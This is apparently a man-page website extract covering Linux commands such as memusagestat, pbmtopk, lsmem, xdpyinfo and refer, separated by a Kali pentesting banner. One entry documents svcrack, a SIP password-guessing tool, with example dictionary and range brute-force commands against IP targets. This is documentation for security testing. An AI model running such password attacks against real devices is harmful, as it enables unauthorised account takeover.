░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1447 - Linux cli command memusagestat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command memusagestat and provides detailed information about the command memusagestat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the memusagestat.

NAME 🖥️ memusagestat 🖥️

generate graphic from memory profiling data

SYNOPSIS

memusagestat [option]... datafile [outfile]

DESCRIPTION

memusagestat creates a PNG file containing a graphical representation of the memory profiling data in the file datafile; that file is generated via the -d (or –data) option of memusage(1).

The red line in the graph shows the heap usage (allocated memory) and the green line shows the stack usage. The x-scale is either the number of memory-handling function calls or (if the -t option is specified) time.

OPTIONS

**-o file, **–output=****file
Name of the output file.

**-s string, **–string=****string
Use string as the title inside the output graph.

-t, –time
Use time (rather than number of function calls) as the scale for the X axis.

-T, –total
Also draw a graph of total memory consumption.

**-x size, **–x-size=****size
Make the output graph size pixels wide.

**-y size, **–y-size=****size
Make the output graph size pixels high.

-?, –help
Print a help message and exit.

–usage
Print a short usage message and exit.

-V, –version
Print version information and exit.

BUGS

To report bugs, see

EXAMPLES

See memusage(1).

SEE ALSO

memusage(1), mtrace(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1448 - Linux cli command pbmtopk

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtopk and provides detailed information about the command pbmtopk, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtopk.

.

NAME 🖥️ pbmtopk 🖥️

convert a PBM image into a packed (PK) format font

SYNOPSIS

pbmtopk pkfile[.pk] tfmfile[.tfm] resolution [-s designsize] [-p num param…] [-C codingscheme] [-F family] [-f optfile] [-c num] [-W width] [-H height] [-D depth] [-I ital] [-h horiz] [-v vert] [-x xoff] [-y yoff] [pbmfile …]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtopk reads PBM images as input and produces a packed (PK) font file and a TFM (TeX font metric) file as output. The resolution parameter indicates the resolution of the font, in dots per inch. If the filename “-” is used for any of the filenames, pbmtopk uses Standard Input or Standard Output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtopk recognizes the following command line options:

-s designsize
Sets the design size of the font, in TeX’s points (72.27pt to the inch). The default design size is 1. The TFM parameters are given as multiples of the design size.

-p num param
Sets the first num font parameters for the font. The first seven parameters are the slant, interword spacing, interword space stretchability, interword space shrinkability, x-height, quad width, and post-sentence extra space of the font. Math and symbol fonts may have more parameters; see The TeXbook for a list of these. Reasonable default values are chosen for parameters which are not specified.

-C codingscheme
Sets the coding scheme comment in the TFM file.

-F family
Sets the font family comment in the TFM file.

-f optfile
Reads the file optfile, which should contain a lines of the form:

   filename xoff yoff horiz vert width height depth ital

The PBM files specified by the filename parameters are inserted consecutively in the font with the specified attributes. If any of the attributes are omitted, or replaced with “*”, a default value will be calculated from the size of the bitmap. The settings of the -W, -H, -D, -I, -h, -v, -x, and -y options do not affected characters created in this way. The character number can be changed by including a line starting with “=”, followed by the new number. Lines beginning with “%” or “#” are ignored.

-c num
Sets the character number of the next bitmap encountered to num.

-W width
Sets the TFM width of the next character to width (in design size multiples).

-H height
Sets the TFM height of the next character to height (in design size multiples).

-D depth
Sets the TFM depth of the next character to depth (in design size multiples).

-I ital
Sets the italic correction of the next character to ital (in design size multiples).

-h horiz
Sets the horizontal escapement of the next character to horiz (in pixels).

-v vert
Sets the vertical escapement of the next character to vert (in pixels).

-x xoff
Sets the horizontal offset of the next character to xoff (in pixels).

-y yoff
Sets the vertical offset of the next character to yoff (in pixels, from the top row).

SEE ALSO

pktopbm(1) , pbm(1)

AUTHOR

Adapted from Tom Rokicki’s pxtopk by Angus Duggan <[email protected]>.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtopk.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1449 - Linux cli command sldtoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sldtoppm and provides detailed information about the command sldtoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sldtoppm.

.

NAME 🖥️ sldtoppm 🖥️

convert an AutoCAD slide file to a PPM image

SYNOPSIS

sldtoppm [-adjust] [-dir] [{-height|-ysize} s] [-info] [{-lib|-Lib} name] [-scale s] [-verbose] [{-width|-xsize} s] [slidefile]

All options can be abbreviated to their shortest unique prefix.

DESCRIPTION

This program is part of Netpbm(1) .

sldtoppm reads an AutoCAD® slide file and outputs a PPM image. If you don’t specify slidefile, sldtoppm reads input from Standard Input. sldtoppm uses the ppmdraw library to convert the vector and polygon information in the slide file to a raster; see the file ppmdraw.h for details on this package.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), sldtoppm recognizes the following command line options:

-adjust
If the display on which the slide file was created had non-square pixels, when you process the slide with sldtoppm and don’t specify -adjust, sldtoppm issues the following warning;

Warning - pixels on source screen were non-square.

Specifying -adjust will correct the image width to compensate. Specifying the -adjust option causes sldtoppm to scale the width of the image so that pixels in the resulting PPM image are square (and hence circles appear as true circles, not ellipses). The scaling is performed in the vector domain, before scan converting the objects. The results are, therefore, superior in appearance to what you’d obtain were you to perform the equivalent scaling with pamscale after the bitmap had been created.

-dir
The input is assumed to be an AutoCAD slide library file. A directory listing each slide in the library is printed on standard error.

-height size
Scales the image in the vector domain so it is size pixels in height. If you don’t specify -width or -xsize, sldtoppm adjusts the width to preserve the pixel aspect ratio.

-info
Dump the slide file header on standard error, displaying the original screen size and aspect ratio among other information.

-lib name
Extracts the slide with the given name from the slide library given as input. sldtoppm converts the specified name to upper case.

-Lib name
Extracts the slide with the given name from the slide library given as input. sldtoppm uses name in the case specified; it does not convert it to upper case.

-scale s
Scales the image by factor s, which may be any floating point value greater than zero. sldtoppm does the scaling after aspect ratio adjustment, if any. Since it does the scaling in the vector domain, before rasterisation, the results look much better than running the output of sldtoppm through pamscale.

-verbose
Dumps the slide file header and lists every vector and polygon to Standard Error.

-width size
Scales the image in the vector domain so it is size pixels wide. If you don’t specify -height or -ysize, sldtoppm adjusts the height to preserve the pixel aspect ratio.

-xsize size
Scales the image in the vector domain so it is size pixels wide. If you don’t specify -height or -ysize, sldtoppm adjusts the height to preserve the pixel aspect ratio.

-ysize size
Scales the image in the vector domain so it is size pixels in height. If you don’t specify -width or -xsize, sldtoppm adjusts the width to preserve the pixel aspect ratio.

LIMITATIONS

sldtoppm can convert only Level 2 slides. Level 1 format has been obsolete since the advent of AutoCAD Release 9 in 1987, and was not portable across machine architectures.

Slide library items with names containing 8 bit (such as ISO) or 16 bit (Kanji, for example) characters may not be found when chosen with the -lib option unless sldtoppm was built with character set conversion functions appropriate to the locale. You can always retrieve slides from libraries regardless of the character set by using the -Lib option and specifying the precise name of library member. Use the -dir option to list the slides in a library if you’re unsure of the exact name.

SEE ALSO

AutoCAD Reference Manual: Slide File Format, pamscale(1) , ppm(1)

AUTHOR

John Walker
Autodesk SA
Avenue des Champs-Montants 14b
CH-2074 MARIN
Suisse/Schweiz/Svizzera/Svizra/Switzerland
    Usenet:[email protected]
    Fax:038/33 88 15
    Voice:038/33 76 33

Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, without any conditions or restrictions. This software is provided “as is” without express or implied warranty.

AutoCAD and Autodesk are registered trademarks of Autodesk, Inc.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/sldtoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1450 - Linux cli command l2ping

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command l2ping and provides detailed information about the command l2ping, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the l2ping.

NAME 🖥️ l2ping 🖥️

Send L2CAP echo request and receive answer

SYNOPSIS

l2ping [OPTIONS] bd_addr

DESCRIPTION

l2ping(1) sends a L2CAP echo request to the Bluetooth MAC address bd_addr given in dotted hex notation.

OPTIONS

-i* <hciX>*
The command is applied to device hciX, which must be the name of an installed Bluetooth device (X = 0, 1, 2, …) If not specified, the command will be sent to the first available Bluetooth device.

-s* size*
The size of the data packets to be sent.

-c* count*
Send count number of packets then exit.

-t* timeout*
Wait timeout seconds for the response.

-d* delay*
Wait delay seconds between pings.

-f
Kind of flood ping. Use with care! It reduces the delay time between packets to 0.

-r
Reverse ping (gnip?). Send echo response instead of echo request.

-v
Verify response payload is identical to request payload. It is not required for remote stacks to return the request payload, but most stacks do (including Bluez).

bd_addr
The Bluetooth MAC address to be pinged in dotted hex notation like 01:02:03:ab:cd:ef or 01:EF:cd:aB:02:03

RESOURCES

http://www.bluez.org

REPORTING BUGS

[email protected]

AUTHOR

Maxim Krasnyansky <[email protected]>, Marcel Holtmann <[email protected]>, Nils Faerber <[email protected]>, Adam Laurie <[email protected]>.

COPYRIGHT

Free use of this software is granted under ther terms of the GNU Lesser General Public Licenses (LGPL).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1451 - Linux cli command lsmem

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lsmem and provides detailed information about the command lsmem, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lsmem.

NAME 🖥️ lsmem 🖥️

list the ranges of available memory with their online status

SYNOPSIS

lsmem [options]

DESCRIPTION

The lsmem command lists the ranges of available memory with their online status. The listed memory blocks correspond to the memory block representation in sysfs. The command also shows the memory block size and the amount of memory in online and offline state.

The default output is compatible with original implementation from s390-tools, but it’s strongly recommended to avoid using default outputs in your scripts. Always explicitly define expected columns by using the –output option together with a columns list in environments where a stable output is required.

The lsmem command lists a new memory range always when the current memory block distinguish from the previous block by some output column. This default behavior is possible to override by the –split option (e.g., lsmem –split=ZONES). The special word “none” may be used to ignore all differences between memory blocks and to create as large as possible continuous ranges. The opposite semantic is –all to list individual memory blocks.

Note that some output columns may provide inaccurate information if a split policy forces lsmem to ignore differences in some attributes. For example if you merge removable and non-removable memory blocks to the one range than all the range will be marked as non-removable on lsmem output.

Not all columns are supported on all systems. If an unsupported column is specified, lsmem prints the column but does not provide any data for it.

Use the –help option to see the columns description.

OPTIONS

-a, –all

List each individual memory block, instead of combining memory blocks with similar attributes.

-b, –bytes

Print the sizes in bytes rather than in a human-readable format.

By default, the unit, sizes are expressed in, is byte, and unit prefixes are in power of 2^10 (1024). Abbreviations of symbols are exhibited truncated in order to reach a better readability, by exhibiting alone the first letter of them; examples: “1 KiB” and “1 MiB” are respectively exhibited as “1 K” and “1 M”, then omitting on purpose the mention “iB”, which is part of these abbreviations.

-J, –json

Use JSON output format.

-n, –noheadings

Do not print a header line.

-o, –output list

Specify which output columns to print. Use –help to get a list of all supported columns. The default list of columns may be extended if list is specified in the format **+**list (e.g., lsmem -o +NODE).

–output-all

Output all available columns.

-P, –pairs

Produce output in the form of key=“value” pairs. All potentially unsafe value characters are hex-escaped (\x<code>).

-r, –raw

Produce output in raw format. All potentially unsafe characters are hex-escaped (\x<code>).

-S, –split list

Specify which columns (attributes) use to split memory blocks to ranges. The supported columns are STATE, REMOVABLE, NODE and ZONES, or “none”. The other columns are silently ignored. For more details see DESCRIPTION above.

-s, –sysroot directory

Gather memory data for a Linux instance other than the instance from which the lsmem command is issued. The specified directory is the system root of the Linux instance to be inspected.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

–summary[=when]

This option controls summary lines output. The optional argument when can be never, always or only. If the when argument is omitted, it defaults to “only”. The summary output is suppressed for –raw, –pairs and –json.

AUTHORS

lsmem was originally written by Gerald Schaefer for s390-tools in Perl. The C version for util-linux was written by Clemens von Mann, Heiko Carstens and Karel Zak.

SEE ALSO

chmem(8)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The lsmem command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1452 - Linux cli command svcrack

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command svcrack and provides detailed information about the command svcrack, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the svcrack.

NAME 🖥️ svcrack 🖥️

online password guessing tool for SIP devices

SYNOPSIS

svcrack.py -u username [options] target

DESCRIPTION

examples: svcrack.py -u100 -d dictionary.txt udp://10.0.0.1:5080 svcrack.py -u100 -r1-9999 -z4 10.0.0.1

OPTIONS

–version
show program’s version number and exit

-h, –help
show this help message and exit

-v, –verbose
Increase verbosity

-q, –quiet
Quiet mode

-p PORT, –port=PORT
Destination port or port ranges of the SIP device - eg -p5060,5061,8000-8100

-P PORT, –localport=PORT
Source port for our packets

-x IP, –externalip=IP
IP Address to use as the external ip. Specify this if you have multiple interfaces or if you are behind NAT

-b BINDINGIP, –bindingip=BINDINGIP
By default we bind to all interfaces. This option overrides that and binds to the specified ip address

-t SELECTTIME, –timeout=SELECTTIME
This option allows you to trottle the speed at which packets are sent. Change this if you’re losing packets. For example try 0.5.

-R, –reportback
Send the author an exception traceback. Currently sends the command line parameters and the traceback

-A, –autogetip
Automatically get the current IP address. This is useful when you are not getting any responses back due to SIPVicious not resolving your local IP.

-s NAME, –save=NAME
save the session. Has the benefit of allowing you to resume a previous scan and allows you to export scans

–resume=NAME
resume a previous scan

-c, –enablecompact
enable compact mode. Makes packets smaller but possibly less compatible

-u USERNAME, –username=USERNAME
username to try crack

-d DICTIONARY, –dictionary=DICTIONARY
specify a dictionary file with passwords or - for stdin

-r RANGE, –range=RANGE
specify a range of numbers. example: 100-200,300-310,400

-e EXTENSION, –extension=EXTENSION
Extension to crack. Only specify this when the extension is different from the username.

-z PADDING, –zeropadding=PADDING
the number of zeros used to padd the password. the options “-r 1-9999 -z 4” would give 0001 0002 0003 … 9999

-n, –reusenonce
Reuse nonce. Some SIP devices don’t mind you reusing the nonce (making them vulnerable to replay attacks). Speeds up the cracking.

-T TEMPLATE, –template=TEMPLATE
A format string which allows us to specify a template for the extensions example svwar.py -e 1-999 –template=“123%#04i999” would scan between 1230001999 to 1230999999"

–maximumtime=MAXIMUMTIME
Maximum time in seconds to keep sending requests without receiving a response back

-D, –enabledefaults
Scan for default / typical passwords such as 1000,2000,3000 … 1100, etc. This option is off by default. Use –enabledefaults to enable this functionality

–domain=DOMAIN
force a specific domain name for the SIP message, eg. -d example.org

–requesturi=REQUESTURI
Force the first line URI to a specific value; e.g. sip:[email protected]

-6
Scan an IPv6 address

SIPvicious password cracker is an online password guessing tool for SIP devices.

Copyright (C) 2021 Sandro Gauci <[email protected]>

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.

SEE ALSO

The full documentation for svcrack.py can be found on GitHub at <https://github.com/enablesecurity/sipvicious/wiki>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1453 - Linux cli command xdpyinfo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xdpyinfo and provides detailed information about the command xdpyinfo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xdpyinfo.

NAME 🖥️ xdpyinfo 🖥️

display information utility for X

SYNOPSIS

xdpyinfo [-display displayname] [-queryExtensions] [-ext extension-name] [-version]

DESCRIPTION

Xdpyinfo is a utility for displaying information about an X server. It is used to examine the capabilities of a server, the predefined values for various parameters used in communicating between clients and the server, and the different types of screens and visuals that are available.

By default, numeric information (opcode, base event, base error) about protocol extensions is not displayed. This information can be obtained with the -queryExtensions option. Use of this option on servers that dynamically load extensions will likely cause all possible extensions to be loaded, which can be slow and can consume significant server resources.

Detailed information about a particular extension is displayed with the -ext extensionName option. If extensionName is all, information about all extensions supported by both xdpyinfo and the server is displayed.

If -version is specified, xdpyinfo prints its version and exits, without contacting the X server.

ENVIRONMENT

DISPLAY
To get the default host, display number, and screen.

SEE ALSO

X(7), xprop(1), xrdb(1), xwininfo(1), xrandr(1), xdriinfo(1), xvinfo(1), glxinfo(1)

AUTHOR

Jim Fulton, MIT X Consortium
Support for the XFree86-VidModeExtension, XFree86-DGA, XFree86-Misc, and XKB extensions added by Joe Moss

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1454 - Linux cli command refer

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command refer and provides detailed information about the command refer, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the refer.

Name

refer - process bibliographic references for groff

Synopsis

refer [-bCenPRS] [-a ** n] [-B** field**.macro ] [-c ** fields] [-f ** n] [-i ** fields] [-k ** field] [-l ** range-expression] [-p ** database-file] [-s ** fields] [**-t ** n] [*file *. . .] refer –help refer -v refer –version

Description

The GNU implementation of refer is part of the

document formatting system. refer is a

preprocessor that prepares bibilographic citations by looking up keywords specified in a

input document, obviating the need to type such annotations, and permitting the citation style in formatted output to be altered independently and systematically. It copies the contents of each file to the standard output stream, except that it interprets lines between .[ and .] as citations to be translated into groff input, and lines between .R1 and .R2 as instructions regarding how citations are to be processed. Normally, refer is not executed directly by the user, but invoked by specifying the -R option to

If no file operands are given on the command line, or if file is “-”, the standard input stream is read.

Each citation specifies a reference. The citation can specify a reference that is contained in a bibliographic database by giving a set of keywords that only that reference contains. Alternatively it can specify a reference by supplying a database record in the citation. A combination of these alternatives is also possible.

For each citation, refer can produce a mark in the text. This mark consists of some label which can be separated from the text and from other labels in various ways. For each reference it also outputs

language commands that can be used by a macro package to produce a formatted reference for each citation. The output of refer must therefore be processed using a suitable macro package, such as me, mm, mom, or ms. The commands to format a citation’s reference can be output immediately after the citation, or the references may be accumulated, and the commands output at some later point. If the references are accumulated, then multiple citations of the same reference will produce a single formatted reference.

The interpretation of lines between .R1 and .R2 as prepreocessor commands is a feature of GNU refer. Documents making use of this feature can still be processed by AT&T refer just by adding the lines

.de R1 .ig R2 ..

to the beginning of the document. This will cause

to ignore everything between .R1 and .R2. The effect of some commands can also be achieved by options. These options are supported mainly for compatibility with AT&T refer. It is usually more convenient to use commands.

refer generates .lf requests so that file names and line numbers in messages produced by commands that read refer output will be correct; it also interprets lines beginning with .lf so that file names and line numbers in the messages and .lf lines that it produces will be accurate even if the input has been preprocessed by a command such as

Bibliographic databases

The bibliographic database is a text file consisting of records separated by one or more blank lines. Within each record fields start with a % at the beginning of a line. Each field has a one character name that immediately follows the %. It is best to use only upper and lower case letters for the names of fields. The name of the field should be followed by exactly one space, and then by the contents of the field. Empty fields are ignored. The conventional meaning of each field is as follows:

%A
The name of an author. If the name contains a suffix such as “Jr.”, it should be separated from the last name by a comma. There can be multiple occurrences of the %A field. The order is significant. It is a good idea always to supply an %A field or a %Q field.

%B
For an article that is part of a book, the title of the book.

%C
The place (city) of publication.

%D
The date of publication. The year should be specified in full. If the month is specified, the name rather than the number of the month should be used, but only the first three letters are required. It is a good idea always to supply a %D field; if the date is unknown, a value such as in press or unknown can be used.

%E
For an article that is part of a book, the name of an editor of the book. Where the work has editors and no authors, the names of the editors should be given as %A fields and “, (ed.)” or “, (eds.)” should be appended to the last author.

%G
U.S. government ordering number.

%I
The publisher (issuer).

%J
For an article in a journal, the name of the journal.

%K
Keywords to be used for searching.

%L
Label.

%N
Journal issue number.

%O
Other information. This is usually printed at the end of the reference.

%P
Page number. A range of pages can be specified as m**-** n.

%Q
The name of the author, if the author is not a person. This will only be used if there are no %A fields. There can only be one %Q field.

%R
Technical report number.

%S
Series name.

%T
Title. For an article in a book or journal, this should be the title of the article.

%V
Volume number of the journal or book.

%X
Annotation.

For all fields except %A and %E, if there is more than one occurrence of a particular field in a record, only the last such field will be used.

If accent strings are used, they should follow the character to be accented. This means that an ms document must call the .AM macro when it initializes. Accent strings should not be quoted: use one ** rather than two. Accent strings are an obsolescent feature of the me and ms macro packages; modern documents should use groff special character escape sequences instead; see

Citations

Citations have a characteristic format.

.[opening-text flags keywords fields .]closing-text

The opening-text, closing-text, and flags components are optional. Only one of the keywords and fields components need be specified.

The keywords component says to search the bibliographic databases for a reference that contains all the words in keywords. It is an error if more than one reference is found.

The fields components specifies additional fields to replace or supplement those specified in the reference. When references are being accumulated and the keywords component is non-empty, then additional fields should be specified only on the first occasion that a particular reference is cited, and will apply to all citations of that reference.

The opening-text and closing-text components specify strings to be used to bracket the label instead of those in the bracket-label command. If either of these components is non-empty, the strings specified in the bracket-label command will not be used; this behavior can be altered using the [ and ] flags. Leading and trailing spaces are significant for these components.

The flags component is a list of non-alphanumeric characters each of which modifies the treatment of this particular citation. AT&T refer will treat these flags as part of the keywords and so will ignore them since they are non-alphanumeric. The following flags are currently recognized.

#
Use the label specified by the short-label command, instead of that specified by the label command. If no short label has been specified, the normal label will be used. Typically the short label is used with author-date labels and consists of only the date and possibly a disambiguating letter; the “#” is supposed to be suggestive of a numeric type of label.

[
Precede opening-text with the first string specified in the bracket-label command.

]
Follow closing-text with the second string specified in the bracket-label command.

An advantage of using the [ and ] flags rather than including the brackets in opening-text and closing-text is that you can change the style of bracket used in the document just by changing the bracket-label command. Another is that sorting and merging of citations will not necessarily be inhibited if the flags are used.

If a label is to be inserted into the text, it will be attached to the line preceding the .[ line. If there is no such line, then an extra line will be inserted before the .[ line and a warning will be given.

There is no special notation for making a citation to multiple references. Just use a sequence of citations, one for each reference. Don’t put anything between the citations. The labels for all the citations will be attached to the line preceding the first citation. The labels may also be sorted or merged. See the description of the <> label expression, and of the sort-adjacent-labels and abbreviate-label-ranges commands. A label will not be merged if its citation has a non-empty opening-text or closing-text. However, the labels for a citation using the ] flag and without any closing-text immediately followed by a citation using the [ flag and without any opening-text may be sorted and merged even though the first citation’s opening-text or the second citation’s closing-text is non-empty. (If you wish to prevent this, use the dummy character escape sequence ** as the first citation’s closing-text.)

Commands

